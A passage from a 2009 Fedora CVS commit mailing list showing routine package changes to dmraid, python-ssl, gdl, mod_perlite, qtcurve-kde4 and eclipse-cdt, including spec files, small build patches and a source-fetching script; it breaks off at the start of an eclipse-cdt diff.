Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23318

Modified Files:
	dmraid.spec sources 
Log Message:
1.0.0.rc16-4


Index: dmraid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/dmraid.spec,v
retrieving revision 1.107
retrieving revision 1.108
diff -u -p -r1.107 -r1.108
--- dmraid.spec	15 Oct 2009 18:30:19 -0000	1.107
+++ dmraid.spec	15 Oct 2009 19:30:08 -0000	1.108
@@ -7,7 +7,7 @@
 Summary: dmraid (Device-mapper RAID tool and library)
 Name: dmraid
 Version: 1.0.0.rc16
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 URL: http://people.redhat.com/heinzm/sw/dmraid
@@ -24,7 +24,8 @@ Provides: dmraid-libs = %{version}-%{rel
 Source: ftp://people.redhat.com/heinzm/sw/dmraid/src/%{name}-%{version}.tar.bz2
 
 Patch0: dmraid-1.0.0.rc16-test_devices.patch
-Patch1: pdc_raid10_failure.patch
+Patch1: ddf1_lsi_persistent_name.patch
+Patch2: pdc_raid10_failure.patch
 
 %description
 DMRAID supports RAID device discovery, RAID set activation, creation,
@@ -66,6 +67,7 @@ Device failure reporting has to be activ
 %setup -q -n dmraid/%{version}
 %patch0 -p1
 %patch1 -p1
+%patch2 -p1
 
 %build
 %define _libdir /%{_lib}
@@ -135,7 +137,8 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Thu Oct 15 2009  Heinz Mauelshagen <heinzm at redhat.com> - 1.0.0.rc16-4
-- fix pdc metadata format handler to report the correct number
+- bz505562: ddf1 metadata format handler LSI persistent name fix
+- bz524168: fix pdc metadata format handler to report the correct number
   of devices in a RAID10 subset
 - bz528097: move libraries to /lib* in order to avoid catch22
   with unmountable u/usr


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dmraid/devel/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	16 Sep 2009 22:52:42 -0000	1.26
+++ sources	15 Oct 2009 19:30:08 -0000	1.27
@@ -1,2 +1 @@
-2602887205a35f89b59eeba3a868150f  dmraid-1.0.0.rc15.tar.bz2
-32832c1dfd7e72cd4355490322fca68a  dmraid-1.0.0.rc16.tar.bz2
+507252c1b68d745c2ecbda2ceac8feea  dmraid-1.0.0.rc16.tar.bz2



From mauelsha at fedoraproject.org  Thu Oct 15 19:36:19 2009
From: mauelsha at fedoraproject.org (Heinz Mauelshagen)
Date: Thu, 15 Oct 2009 19:36:19 +0000 (UTC)
Subject: rpms/dmraid/devel ddf1_lsi_persistent_name.patch,NONE,1.1
Message-ID: <20091015193619.75CB311C00DB@cvs1.fedora.phx.redhat.com>

Author: mauelsha

Update of /cvs/pkgs/rpms/dmraid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25313

Added Files:
	ddf1_lsi_persistent_name.patch 
Log Message:


ddf1_lsi_persistent_name.patch:
 ddf1.c |   10 ++++++++++
 1 file changed, 10 insertions(+)

--- NEW FILE ddf1_lsi_persistent_name.patch ---
diff --git a/lib/format/ddf/ddf1.c.lsi_name b/lib/format/ddf/ddf1.c
index 05b550b..c8e484b 100644
--- a/lib/format/ddf/ddf1.c
+++ b/lib/format/ddf/ddf1.c
@@ -696,6 +696,16 @@ name(struct lib_context *lc, struct ddf1 *ddf1, struct raid_dev *rd)
 			sprintf(b, "%02x%02x%02x%02x",
 				vd->guid[i], vd->guid[i + 1],
 				vd->guid[i + 2], vd->guid[i + 3]);
+
+		/*
+		 * Because the LSI bios changes the timestamp in the
+		 * metadata on every boot, we have to neutralize it
+		 * in order to allow for persistent names.
+		 *
+		 * Using a dummy string "47114711" for that.
+		 */
+		if (!strncmp((char *) vd->guid, "LSI", 3))
+			strncpy(buf + prefix + 32, "47114711", 8);
 	}
 
 out:



From stevetraylen at fedoraproject.org  Thu Oct 15 19:47:17 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Thu, 15 Oct 2009 19:47:17 +0000 (UTC)
Subject: rpms/python-ssl/devel README.ssl, NONE, 1.1 import.log, NONE,
	1.1 python-ssl-64bit.patch, NONE, 1.1 python-ssl.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015194717.4FF2511C00DB@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/python-ssl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29231/devel

Modified Files:
	.cvsignore sources 
Added Files:
	README.ssl import.log python-ssl-64bit.patch python-ssl.spec 
Log Message:
Import rhbz#527049



--- NEW FILE README.ssl ---
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module. This package brings that module to 
older Python releases, 2.3.5 and up (it may also work on older versions 
of 2.3, but we haven't tried it).

It's quite similar to the 2.6 ssl module. There's no stand-alone 
documentation for this package; instead, just use the development branch 
documentation for the SSL module at 
http://docs.python.org/dev/library/ssl.html.

Version 1.0 had a problem with Python 2.5.1 -- the structure of the 
socket object changed from earlier versions.

Version 1.1 was missing various package metadata information.

Version 1.2 added more package metadata, and support for 
ssl.get_server_certificate(), and the PEM-to-DER encode/decode routines. 
Plus integrated Paul Moore's patch to setup.py for Windows. 
Plus added support for asyncore, and asyncore HTTPS server test.

Version 1.3 fixed a bug in the test suite.

Version 1.4 incorporated use of -static switch.

Version 1.5 fixed bug in Python version check affecting build on 
Python 2.5.0.

Version 1.7 (and 1.6) fixed some bugs with asyncore support 
(recv and send not being called on the SSLSocket class, wrong semantics 
for sendall).

Version 1.8 incorporated some code from Chris Stawarz to handle 
sockets which are set to non-blocking before negotiating the SSL session.

Version 1.9 makes ssl.SSLError a subtype of socket.error.

Version 1.10 fixes a bug in sendall().

Version 1.11 includes the MANIFEST file, and by default will turne 
unexpected EOFs occurring during a read into a regular EOF. It also 
removes the code for SSLFileStream, to use the regular socket 
module's _fileobject instead.

Version 1.12 fixes the bug in SSLSocket.accept() reported by 
Georg Brandl, and adds a test case for that fix.

Version 1.13 fixes a bug in calling do_handshake() automatically 
on non-blocking sockets. Thanks to Giampaolo Rodola. Now 
includes real asyncore test case.

Version 1.14 incorporates some fixes to naming (rename "recv_from" 
to "recvfrom" and "send_to" to "sendto"), and a fix to the 
asyncore test case to unregister the connection handler when the 
connection is closed. It also exposes the SSL shutdown via the 
"unwrap" method on an SSLSocket. It exposes "subjectPublicKey" 
in the data received from a peer cert.

Version 1.15 fixes a bug in write retries, where the output 
buffer has changed location because of garbage collection during the 
interim. It also provides the new flag, PROTOCOL_NOSSLv2, which 
selects SSL23, but disallows actual use of SSL2.

Authorship: A cast of dozens over the years have written the Python 
SSL support, including Marc-Alan Lemburg, Robin Dunn, GvR, Kalle Svensson,
Skip Montanaro, Mark Hammond, Martin von Loewis, Jeremy Hylton,
Andrew Kuchling, Georg Brandl, Bill Janssen, Chris Stawarz,
Neal Norwitz, and many others. Thanks to Paul Moore, David Bolen 
and Mark Hammond for help with the Windows side of the house. And 
it's all based on OpenSSL, which has its own cast of dozens!



--- NEW FILE import.log ---
python-ssl-1_15-2_el5:HEAD:python-ssl-1.15-2.el5.src.rpm:1255635998

python-ssl-64bit.patch:
 setup.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE python-ssl-64bit.patch ---
diff -uNr ssl-1.15.ORIG/setup.py ssl-1.15/setup.py
--- ssl-1.15.ORIG/setup.py	2009-10-02 20:02:10.864763790 +0200
+++ ssl-1.15/setup.py	2009-10-03 09:00:06.541685860 +0200
@@ -131,7 +131,8 @@
 
     ssl_libs = find_library_file(compiler, 'ssl',
                                  ['/usr/lib'],
-                                 ['/usr/local/lib',
+                                 ['/usr/lib64',
+                                  '/usr/local/lib',
                                   '/usr/local/ssl/lib',
                                   '/usr/contrib/ssl/lib/'
                                  ] )


--- NEW FILE python-ssl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

Name:           python-ssl
Version:        1.15
Release:        2%{?dist}
Summary:        SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

Group:          Development/Libraries
License:        Python
URL:            http://pypi.python.org/pypi/ssl
Source0:        http://pypi.python.org/packages/source/s/ssl/ssl-%{version}.tar.gz
Source1:        README.ssl
Patch0:         %{name}-64bit.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# This package is never needed for python 2.6 since
# ssl module is already present.
Requires: python < 2.6
BuildRequires:  python-devel < 2.6
BuildRequires:  openssl-devel

%description
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module.  This package brings that module to older 
Python releases.

%prep
%setup -q -n ssl-%{version}
%patch0 -p1
cp -p %{SOURCE1} README


%build
CFLAGS="$RPM_OPT_FLAGS" %{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitearch}/ssl/_ssl2.so
rm -rf $RPM_BUILD_ROOT%{python_sitearch}/../test
 
%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README
%{python_sitearch}/*

%changelog
* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-2
- Add -p to cp to preserve timestamps.
* Fri Oct 2 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-1
- First Build




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:19:56 -0000	1.1
+++ .cvsignore	15 Oct 2009 19:47:16 -0000	1.2
@@ -0,0 +1 @@
+ssl-1.15.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:19:56 -0000	1.1
+++ sources	15 Oct 2009 19:47:16 -0000	1.2
@@ -0,0 +1 @@
+81ea8a1175e437b4c769ae65b3290e0c  ssl-1.15.tar.gz



From orion at fedoraproject.org  Thu Oct 15 19:48:06 2009
From: orion at fedoraproject.org (Orion Poplawski)
Date: Thu, 15 Oct 2009 19:48:06 +0000 (UTC)
Subject: rpms/gdl/devel gdl-0.9rc2-20090504-antlr-auto.patch,NONE,1.1
Message-ID: <20091015194806.6DB3611C00DB@cvs1.fedora.phx.redhat.com>

Author: orion

Update of /cvs/pkgs/rpms/gdl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30134

Added Files:
	gdl-0.9rc2-20090504-antlr-auto.patch 
Log Message:
Add antlr-auto patch


gdl-0.9rc2-20090504-antlr-auto.patch:
 configure.in    |    2 +-
 src/Makefile.am |    5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

--- NEW FILE gdl-0.9rc2-20090504-antlr-auto.patch ---
--- gdl-0.9rc2-20090504/configure.in.antlr-auto	2009-04-30 16:07:55.000000000 -0600
+++ gdl-0.9rc2-20090504/configure.in	2009-05-04 16:17:25.000000000 -0600
@@ -842,7 +842,7 @@
 dnl perform program name transformation
 dnl AC_ARG_PROGRAM
 
-AC_CONFIG_FILES(Makefile src/Makefile src/antlr/Makefile)
+AC_CONFIG_FILES(Makefile src/Makefile)
 
 AC_OUTPUT
 
--- gdl-0.9rc2-20090504/src/Makefile.am.antlr-auto	2009-03-03 16:32:14.000000000 -0700
+++ gdl-0.9rc2-20090504/src/Makefile.am	2009-05-04 16:17:18.000000000 -0600
@@ -1,6 +1,5 @@
 # set the include path found by configure
 INCLUDES = $(EXT_INCLUDES) $(all_includes)
-SUBDIRS = antlr
 noinst_HEADERS = gdlwidget.hpp prognode.hpp prognodeexpr.hpp
 
 cpp_hpp_files = accessdesc.hpp arrayindex.hpp assocdata.cpp assocdata.hpp \
@@ -53,7 +52,7 @@
 gdl_CXXFLAGS = $(AM_CXXFLAGS)
 # the library search path.
 gdl_LDFLAGS = $(all_libraries)
-gdl_LDADD = $(top_builddir)/src/antlr/libantlr.a -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+gdl_LDADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 
 # build as library (for python module)
@@ -69,6 +68,6 @@
 libgdl_la_LDFLAGS = $(all_libraries) -Wl,-z,muldefs
 endif 
 
-libgdl_la_LIBADD = $(top_builddir)/src/antlr/libantlr.la -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
+libgdl_la_LIBADD = -lantlr -L/usr/X11R6/lib64 -L/usr/X11R6/lib -lX11
 endif
 



From stevetraylen at fedoraproject.org  Thu Oct 15 20:01:16 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Thu, 15 Oct 2009 20:01:16 +0000 (UTC)
Subject: rpms/python-ssl/EL-4 README.ssl, NONE, 1.1 python-ssl-64bit.patch, 
	NONE, 1.1 python-ssl.spec, NONE, 1.1 sources, 1.1, 1.2
Message-ID: <20091015200116.A086611C0265@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/python-ssl/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32673

Modified Files:
	sources 
Added Files:
	README.ssl python-ssl-64bit.patch python-ssl.spec 
Log Message:
First package. rhbz#527049



--- NEW FILE README.ssl ---
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module. This package brings that module to 
older Python releases, 2.3.5 and up (it may also work on older versions 
of 2.3, but we haven't tried it).

It's quite similar to the 2.6 ssl module. There's no stand-alone 
documentation for this package; instead, just use the development branch 
documentation for the SSL module at 
http://docs.python.org/dev/library/ssl.html.

Version 1.0 had a problem with Python 2.5.1 -- the structure of the 
socket object changed from earlier versions.

Version 1.1 was missing various package metadata information.

Version 1.2 added more package metadata, and support for 
ssl.get_server_certificate(), and the PEM-to-DER encode/decode routines. 
Plus integrated Paul Moore's patch to setup.py for Windows. 
Plus added support for asyncore, and asyncore HTTPS server test.

Version 1.3 fixed a bug in the test suite.

Version 1.4 incorporated use of -static switch.

Version 1.5 fixed bug in Python version check affecting build on 
Python 2.5.0.

Version 1.7 (and 1.6) fixed some bugs with asyncore support 
(recv and send not being called on the SSLSocket class, wrong semantics 
for sendall).

Version 1.8 incorporated some code from Chris Stawarz to handle 
sockets which are set to non-blocking before negotiating the SSL session.

Version 1.9 makes ssl.SSLError a subtype of socket.error.

Version 1.10 fixes a bug in sendall().

Version 1.11 includes the MANIFEST file, and by default will turne 
unexpected EOFs occurring during a read into a regular EOF. It also 
removes the code for SSLFileStream, to use the regular socket 
module's _fileobject instead.

Version 1.12 fixes the bug in SSLSocket.accept() reported by 
Georg Brandl, and adds a test case for that fix.

Version 1.13 fixes a bug in calling do_handshake() automatically 
on non-blocking sockets. Thanks to Giampaolo Rodola. Now 
includes real asyncore test case.

Version 1.14 incorporates some fixes to naming (rename "recv_from" 
to "recvfrom" and "send_to" to "sendto"), and a fix to the 
asyncore test case to unregister the connection handler when the 
connection is closed. It also exposes the SSL shutdown via the 
"unwrap" method on an SSLSocket. It exposes "subjectPublicKey" 
in the data received from a peer cert.

Version 1.15 fixes a bug in write retries, where the output 
buffer has changed location because of garbage collection during the 
interim. It also provides the new flag, PROTOCOL_NOSSLv2, which 
selects SSL23, but disallows actual use of SSL2.

Authorship: A cast of dozens over the years have written the Python 
SSL support, including Marc-Alan Lemburg, Robin Dunn, GvR, Kalle Svensson,
Skip Montanaro, Mark Hammond, Martin von Loewis, Jeremy Hylton,
Andrew Kuchling, Georg Brandl, Bill Janssen, Chris Stawarz,
Neal Norwitz, and many others. Thanks to Paul Moore, David Bolen 
and Mark Hammond for help with the Windows side of the house. And 
it's all based on OpenSSL, which has its own cast of dozens!


python-ssl-64bit.patch:
 setup.py |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE python-ssl-64bit.patch ---
diff -uNr ssl-1.15.ORIG/setup.py ssl-1.15/setup.py
--- ssl-1.15.ORIG/setup.py	2009-10-02 20:02:10.864763790 +0200
+++ ssl-1.15/setup.py	2009-10-03 09:00:06.541685860 +0200
@@ -131,7 +131,8 @@
 
     ssl_libs = find_library_file(compiler, 'ssl',
                                  ['/usr/lib'],
-                                 ['/usr/local/lib',
+                                 ['/usr/lib64',
+                                  '/usr/local/lib',
                                   '/usr/local/ssl/lib',
                                   '/usr/contrib/ssl/lib/'
                                  ] )


--- NEW FILE python-ssl.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}

Name:           python-ssl
Version:        1.15
Release:        2%{?dist}
Summary:        SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

Group:          Development/Libraries
License:        Python
URL:            http://pypi.python.org/pypi/ssl
Source0:        http://pypi.python.org/packages/source/s/ssl/ssl-%{version}.tar.gz
Source1:        README.ssl
Patch0:         %{name}-64bit.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

# This package is never needed for python 2.6 since
# ssl module is already present.
Requires: python < 2.6
BuildRequires:  python-devel < 2.6
BuildRequires:  openssl-devel

%description
SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)

The old socket.ssl() support for TLS over sockets is being superseded in 
Python 2.6 by a new 'ssl' module.  This package brings that module to older 
Python releases.

%prep
%setup -q -n ssl-%{version}
%patch0 -p1
cp -p %{SOURCE1} README


%build
CFLAGS="$RPM_OPT_FLAGS" %{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
chmod 0755 $RPM_BUILD_ROOT%{python_sitearch}/ssl/_ssl2.so
rm -rf $RPM_BUILD_ROOT%{python_sitearch}/../test
 
%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%doc README
%{python_sitearch}/*

%changelog
* Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-2
- Add -p to cp to preserve timestamps.
* Fri Oct 2 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-1
- First Build




Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:19:56 -0000	1.1
+++ sources	15 Oct 2009 20:01:12 -0000	1.2
@@ -0,0 +1 @@
+81ea8a1175e437b4c769ae65b3290e0c  ssl-1.15.tar.gz



From cweyl at fedoraproject.org  Thu Oct 15 20:02:42 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Thu, 15 Oct 2009 20:02:42 +0000 (UTC)
Subject: rpms/mod_perlite/devel fetch_source.sh, NONE, 1.1 mod_perlite.spec, 
	1.2, 1.3
Message-ID: <20091015200243.7190211C0265@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/rpms/mod_perlite/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1548

Modified Files:
	mod_perlite.spec 
Added Files:
	fetch_source.sh 
Log Message:
* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
- update to 0.10



--- NEW FILE fetch_source.sh ---
#!/bin/sh
#
# Build our tarball from the given tag; fresh from a cloned github repo.
#
# Chris Weyl <cweyl at alumni.drew.edu> 2009

TAG=$1
REPO=git://github.com/sodabrew/mod_perlite.git
TMPD=`mktemp -d`
HERE=`pwd`

set -ex

# disabled from github?!
#git archive --remote=$REPO --prefix mod_perlite-$TAG/ $TAG | gzip > mod_perlite-$TAG.tar.gz

cd $TMPD
git clone $REPO
cd mod_perlite
git archive --prefix mod_perlite-$TAG/ $TAG | gzip > $HERE/mod_perlite-$TAG.tar.gz

rm -rf $TMPD


Index: mod_perlite.spec
===================================================================
RCS file: /cvs/extras/rpms/mod_perlite/devel/mod_perlite.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mod_perlite.spec	25 Jul 2009 14:47:42 -0000	1.2
+++ mod_perlite.spec	15 Oct 2009 20:02:42 -0000	1.3
@@ -1,24 +1,17 @@
-%global tag     git20090314
-%global git_tag a77521aa84ea5b8c5bcc3e387451acd9368292ee
-
 %global httpd_mod_dir  %{_libdir}/httpd/modules
 %global httpd_conf_dir %{_sysconfdir}/httpd/conf.d
 
 Name:           mod_perlite
-Version:        0.09
-# I'm treating this as a pre-release as we don't have any actual tarballs yet.
-Release:        0.3%{?tag:.%{tag}}%{?dist}
+Version:        0.10
+Release:        1%{?dist}
 Summary:        Kinder, gentler embedded Perl for the Apache HTTP Server
 
 Group:          System Environment/Daemons
 # see Build.PL, README
 License:        GPL+ or Artistic
 URL:            http://modperlite.org
-# git://github.com/sodabrew/mod_perlite.git
-# can be recreated with: 
-#   TAG=a77521aa84ea5b8c5bcc3e387451acd9368292ee \
-#   git archive --prefix mod_perlite/ $TAG | gzip > mod_perlite-$TAG.tar.gz
-Source0:        mod_perlite-%{tag}.tar.gz
+Source0:        mod_perlite-%{version}.tar.gz
+Source1:        fetch_source.sh
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  httpd-devel >= 2.2.0, httpd, gdbm-devel
@@ -43,7 +36,7 @@ interpreted by Perl.  It is the Perl equ
 and nothing like mod_perl in its complexity.
 
 %prep
-%setup -q -n %{name}
+%setup -q 
 
 %build
 %{__perl} Build.PL installdirs=vendor optimize="%{optflags} -fpic"
@@ -83,6 +76,9 @@ rm -rf %{buildroot}
 %{_mandir}/man3/*.3*
 
 %changelog
+* Wed Oct 14 2009 Chris Weyl <cweyl at alumni.drew.edu> 0.10
+- update to 0.10
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.09-0.3.git20090314
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From thomasj at fedoraproject.org  Thu Oct 15 20:03:47 2009
From: thomasj at fedoraproject.org (thomasj)
Date: Thu, 15 Oct 2009 20:03:47 +0000 (UTC)
Subject: rpms/qtcurve-kde4/devel import.log, NONE, 1.1 qtcurve-kde4.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091015200347.A417611C00DB@cvs1.fedora.phx.redhat.com>

Author: thomasj

Update of /cvs/pkgs/rpms/qtcurve-kde4/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1799/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log qtcurve-kde4.spec 
Log Message:
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1



--- NEW FILE import.log ---
qtcurve-kde4-0_69_0-1_fc10:HEAD:qtcurve-kde4-0.69.0-1.fc10.src.rpm:1255636951


--- NEW FILE qtcurve-kde4.spec ---
Name:		qtcurve-kde4
Version:	0.69.0
Release:	1%{?dist}
Summary:	This is a set of widget styles for Qt4/KDE4 based apps

Group:		User Interface/Desktops
License:	GPLv2+
URL:		http://www.kde-look.org/content/show.php?content=40492
Source0:	http://home.freeuk.com/cpdrummond/QtCurve-KDE4-%{version}.tar.bz2
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildRequires:	kdebase-workspace-devel
BuildRequires:	gettext

Requires:	kdebase-workspace

%global kde4_version %((kde4-config --version 2>/dev/null || echo "KDE 4.3.0") | grep ^KDE | cut -d' ' -f2)

%{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }

%description
QtCurve is a desktop theme for the GTK+ and Qt widget toolkits,
allowing users to achieve a uniform look between these widget toolkits.

%prep
%setup -q -n QtCurve-KDE4-0.69.0
## Due to the name change this sed is needed for find-lang.
sed -i 's,set(catalogname qtcurve),set(catalogname qtcurve-kde4),g' po/CMakeLists.txt

%build
mkdir -p %{_target_platform}
pushd %{_target_platform}
## Build qtcurve-kde4 with xbar support
%{cmake_kde4} .. -DQTC_XBAR_SUPPORT=true
popd

make %{?_smp_mflags} -C %{_target_platform}

%install
rm -rf %{buildroot}
make install/fast -C %{_target_platform} DESTDIR=%{buildroot}
%find_lang %{name}

%clean
rm -rf %{buildroot}

%files -f %{name}.lang
%defattr(-,root,root,-)
%doc AUTHORS README TODO COPYING ChangeLog
%{_kde4_appsdir}/QtCurve/
%{_kde4_appsdir}/color-schemes/QtCurve.colors
%{_kde4_appsdir}/kstyle/themes/qtc_klearlooks.themerc
%{_kde4_appsdir}/kstyle/themes/qtcurve.themerc
## No GUI .desktop file
%{_kde4_appsdir}/kwin/*.desktop
%{_kde4_libdir}/kde4/kstyle_qtcurve_config.so
%{_kde4_libdir}/kde4/kwin3_qtcurve.so
%{_kde4_libdir}/kde4/kwin_qtcurve_config.so
%{_kde4_libdir}/kde4/plugins/styles/qtcurve.so


%changelog
* Mon Oct 12 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.69.0-1
- Updated to source version 0.69.0
- Made the QtCurve dir owned
- Removed unneeded scriptlets (no shlibs)
- Dropped unneeded BR
- Notified upstream about the borked windeco
- sed cleanup

* Sun Oct 04 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-3
- Added build comment
- Better use of name macro

* Mon Sep 28 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-2
- Changed to lowercase name for sanity

* Fri Sep 25 2009 Thomas Janssen <thomasj at fedoraproject.org> 0.68.1-1
- Initial Release 0.68.1-1

Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	15 Oct 2009 17:28:11 -0000	1.1
+++ .cvsignore	15 Oct 2009 20:03:46 -0000	1.2
@@ -0,0 +1 @@
+QtCurve-KDE4-0.69.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qtcurve-kde4/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	15 Oct 2009 17:28:11 -0000	1.1
+++ sources	15 Oct 2009 20:03:47 -0000	1.2
@@ -0,0 +1 @@
+2b47051ddc0fb6cccd9473f4717a4b44  QtCurve-KDE4-0.69.0.tar.bz2



From stevetraylen at fedoraproject.org  Thu Oct 15 20:04:11 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Thu, 15 Oct 2009 20:04:11 +0000 (UTC)
Subject: rpms/python-ssl/EL-4 python-ssl.spec,1.1,1.2
Message-ID: <20091015200411.4E0B811C00DB@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/python-ssl/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2453

Modified Files:
	python-ssl.spec 
Log Message:
Empty release bump.



Index: python-ssl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-ssl/EL-4/python-ssl.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-ssl.spec	15 Oct 2009 20:01:12 -0000	1.1
+++ python-ssl.spec	15 Oct 2009 20:04:11 -0000	1.2
@@ -2,7 +2,7 @@
 
 Name:           python-ssl
 Version:        1.15
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        SSL wrapper for socket objects (2.3, 2.4, 2.5 compatible)
 
 Group:          Development/Libraries
@@ -50,6 +50,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/*
 
 %changelog
+* Thu Oct 15 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-3
+- Release bump due to my error.
 * Tue Oct 13 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-2
 - Add -p to cp to preserve timestamps.
 * Fri Oct 2 2009 Steve Traylen <steve.traylen at cern.ch> 1.15-1



From jjohnstn at fedoraproject.org  Thu Oct 15 20:05:35 2009
From: jjohnstn at fedoraproject.org (Jeff Johnston)
Date: Thu, 15 Oct 2009 20:05:35 +0000 (UTC)
Subject: rpms/eclipse-cdt/F-12 eclipse-cdt.spec,1.135,1.136
Message-ID: <20091015200535.6FDCF11C00DB@cvs1.fedora.phx.redhat.com>

Author: jjohnstn

Update of /cvs/extras/rpms/eclipse-cdt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3000

Modified Files:
	eclipse-cdt.spec 
Log Message:

* Thu Oct 15 2009 Jeff Johnston  <jjohnstn at redhat.com> 1:6.0.1-3
- Include installed link for lpg java bundle in new cdt-parsers subpackage.





Index: eclipse-cdt.spec
===================================================================
RCS file: /cvs/extras/rpms/eclipse-cdt/F-12/eclipse-cdt.spec,v
retrieving revision 1.135
retrieving revision 1.136
